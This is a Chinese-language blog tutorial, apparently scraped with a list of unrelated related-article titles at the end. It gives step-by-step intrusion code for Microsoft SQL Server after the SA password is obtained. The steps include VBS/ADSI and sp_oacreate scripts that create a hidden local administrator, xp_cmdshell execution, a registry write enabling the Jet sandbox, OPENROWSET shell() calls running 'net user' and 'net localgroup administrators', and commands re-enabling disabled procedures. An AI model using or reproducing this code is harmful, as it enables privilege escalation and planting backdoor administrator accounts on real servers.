在获得SA密码后,往往因为服务器管理者或”前人”将net.exe和net1.exe被限制使用,无法添加管理员账号。我们知道VBS在活动目录(ADSI)部分有一个winnt对象,用来管理本地资源,利用它可以不依靠CMD等命令就能添加一个管理员,具体代码如下:

  set wsnetwork=CreateObject("WSCRIPT.netWORK")

  os="WinNT://"&wsnetwork.ComputerName

  Set ob=GetObject(os) '得到adsi接口,绑定

  Set oe=GetObject(os&"/Administrators,group") '属性,admin组

  Set od=ob.Create("user","test") '建立用户

  od.SetPassword "1234" '设置密码

  od.SetInfo '保存

  Set of=GetObject(os&"/test",user) '得到用户

  oe.add os&"/test"

  将上面的代码保存为1.vbs,然后执行,命令为“cscript 1.vbs”,这样就会在系统添加一个系统名为test,密码为1234的用户。具体在查询分析器执行的代码如下:

  declare @o int, @f int, @t int, @ret int

  exec sp_oacreate 'scripting.filesystemobject', @o out

  exec sp_oamethod @o, 'createtextfile', @f out, 'c:/1.vbs', 1

  exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject

  ("WSCRIPT.NETWORK")'

  exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork.

  ComputerName'

  exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'

  exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject

  (os&"/Administrators,group")'

  exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create

  ("user","test")'

  exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "1234"'

  exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo '

  exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject

  (os&"/test",user) '

  exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/test"'

  执行完上面的语句,再执行下面这行代码,这行代码一定单独执行,不要与上面的放在一起执行,否则会提示“c:/1.vbs正被另一个程序运行”而无法成功添加用户:

  exec master..xp_cmdshell 'cscript c:/1.vbs'

  如果系统用户没有添加成功,有可能是因为系统用户的密码1234的太简单,不符合服务器的复杂密码策略,可以考虑设置的复杂些,然后再测试一下。也可以使用echo将代码写到1.vbs中,代码格式为:

  exec master..xp_cmdshell 'echo set wsnetwork=CreateObject("WSCRIPT.NETWORK")

  >>1.vbs'

  不过,不知道为什么所有带“&”字符的命令行都无法写入1.vbs,感兴趣的朋友可以尝试解决一下。

  使用jet沙盘模式,可以解决XP_cmdshell等存储过程和相关动态链接库带来的烦恼。出于安全原因,系统默认情况下沙盘模式未开启,这就需要xp_regwrite开启沙盘模式:

  Exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Jet/4.0

  /Engines','SandBoxMode','REG_DWORD',1

  然后执行沙盘命令,在系统添加一个用户名为test,密码为1234的用户:

  select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/Windows

  /system32/ias/ias.mdb','select shell("cmd.exe /c net user test 1234 /add")')

  select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/Windows

  /system32/ias/ias.mdb','select shell("cmd.exe /c net localgroup

  administrators test /add")')

  不同的操作系统,路径也不一样,需要根据情况做修改:

  NT/2K: c:/winnt/system32/

  XP/2003: c:/windows/system32/

  另外Microsoft SQL Server2005在默认情况下,一些存储过程是关闭着的,需要命令打开:

  开启XP_cmdshell:

  EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure

  'xp_cmdshell', 1;RECONFIGURE;

  开启'OPENROWSET':

  exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure

  'Ad Hoc Distributed Queries',1;RECONFIGURE;

  开启'sp_oacreate':

  exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp

  

Microsoft SQL Server SA权限最新入侵方法相关推荐

  1. 恢复 Microsoft SQL Server SA 密码的三种方法

    如果您丢失了 SA 密码,您可能认为唯一的选择是重新安装 SQL Server 并重新附加所有用户数据库.只需在单用户模式下启动 SQL Server,您就可以使用 OSQL 命令轻松恢复 SA 密码 ...

  2. SQL Server SA权限总结

    最近需要用到这些东西的时候,发现自己有点记不清了,这真是人老了做什么都不行了.没办法,只好在自己的blog上总结一下吧.使用Sqlexec加管理员的过程这里冰血就不涉及了. 前提需要工具:SQL Qu ...

  3. SQL Server SA权限总结(还是在冰血blog偷的)

    最近需要用到这些东西的时候,发现自己有点记不清了,这真是人老了做什么都不行了.没办法,只好在自己的blog上总结一下吧.使用Sqlexec加管理员的过程这里冰血就不涉及了. 前提需要工具:SQL Qu ...

  4. 用户 'sa' 登录失败。 (Microsoft SQL Server,错误: 18456)

    一.控制面板->服务->MS SQL SERVER->登陆-->本地系统帐户-->重新启动MS SQL SERVER 用windows验证登陆查询分析器-->执行 ...

  5. 解决Microsoft SQL Server 2005 安装失败方法

    全程跟踪MSSQL 安装过程! 本方法收集了多种失败解决方法,有效解决了安装失败MSSQL的问题,甚至没有Microsoft SQL Server Management Studio Expree的问 ...

  6. Microsoft SQL Server,附加数据库 错误:Error 916解决方法

    Microsoft SQL Server,附加数据库 错误:Error 916解决方法 参考文章: (1)Microsoft SQL Server,附加数据库 错误:Error 916解决方法 (2) ...

  7. [28000][Microsoft][SQL server native client 10.0][SQL server]用户‘sa’登录失败。(18456)

    用native远程连接SQL server数据库提示:[28000][Microsoft][SQL server native client 10.0][SQL server]用户'sa'登录失败.( ...

  8. [转]Microsoft SQL Server 2005 整合、集成SP3方法

    Microsoft SQL Server 2005 SP3 介绍及下载地址: 微软发布了SQL Server 2005 SP3的正式版,而这也将是该软件的最后一次升级服务.SQL Server 200 ...

  9. Microsoft SQL Server 2005 整合、集成SP3方法

    Microsoft SQL Server 2005 SP3 介绍及下载地址: 微软发布了SQL Server 2005 SP3的正式版,而这也将是该软件的最后一次升级服务.SQL Server 200 ...

最新文章

  1. 调用微信高级群发接口--视频群发接口出问题(微信官方文档错误纠正)
  2. Php如何发出请求,PHP中如何发送HTTP请求?
  3. LightOJ-1028 Trailing Zeroes (I)---因子数目
  4. opencv4 python 版本_Opencv4 with Python3.6
  5. 在python中len表示的数据类型是_python基本数据类型学习
  6. 检测oracle的语句,oracle功能检测sql语句
  7. 外设驱动库开发笔记0:EPD总体设计
  8. 聊聊互联网秋招总结 经验分享
  9. Fiddler绕过前端直接和后台进行交互
  10. 实战HCNA1:华为设备快速记忆生成树的角色及选举规则,实施基本的VLAN间路由和基础的VRRP协议...
  11. maya多象限uv不显示_CG制作软件这么多,你都会哪些?
  12. 为什么C++静态static函数不能访问非静态成员
  13. mysql不记录binlog_MySQL不同的binlog_format会导致哪些SQL不会被记录
  14. 2018/06/30这段时间的随笔记忆:遇到概念模糊的js问题
  15. ENVI学习总结(一)——自定义坐标系
  16. 介绍一些房屋抗震的科普知识
  17. java 文件夹不存在则创建_java判断文件不存在就创建的方法
  18. PHP字符串函数strrchr(查找指定字符在字符串中的最后一次出现)
  19. TSP_旅行商问题 - 模拟退火算法(三)
  20. python中迭代_python中的迭代什么意思

热门文章

  1. 统计之都统计分析和R语言方面的图书
  2. 如何在Hadoop上编写MapReduce程序
  3. 实时SLAM的未来及与深度学习的比较The Future of Real-Time SLAM and “Deep Learning vs SLAM”
  4. [BetterExplained]遇到问题为什么应该自己动手
  5. 简书-一个集优雅文艺和Markdown于一身的网站
  6. 鸟哥的Linux私房菜(基础篇)- 第七章、Linux 文件与目录管理
  7. JAVA CXF、XFIRE、AXIS webservice获取客户端IP
  8. 中欧光伏“双反”案:何以平地起波澜?
  9. Open ROADS Community首次正式会议在新加坡顺利召开
  10. 使用VS2015远程GDB调试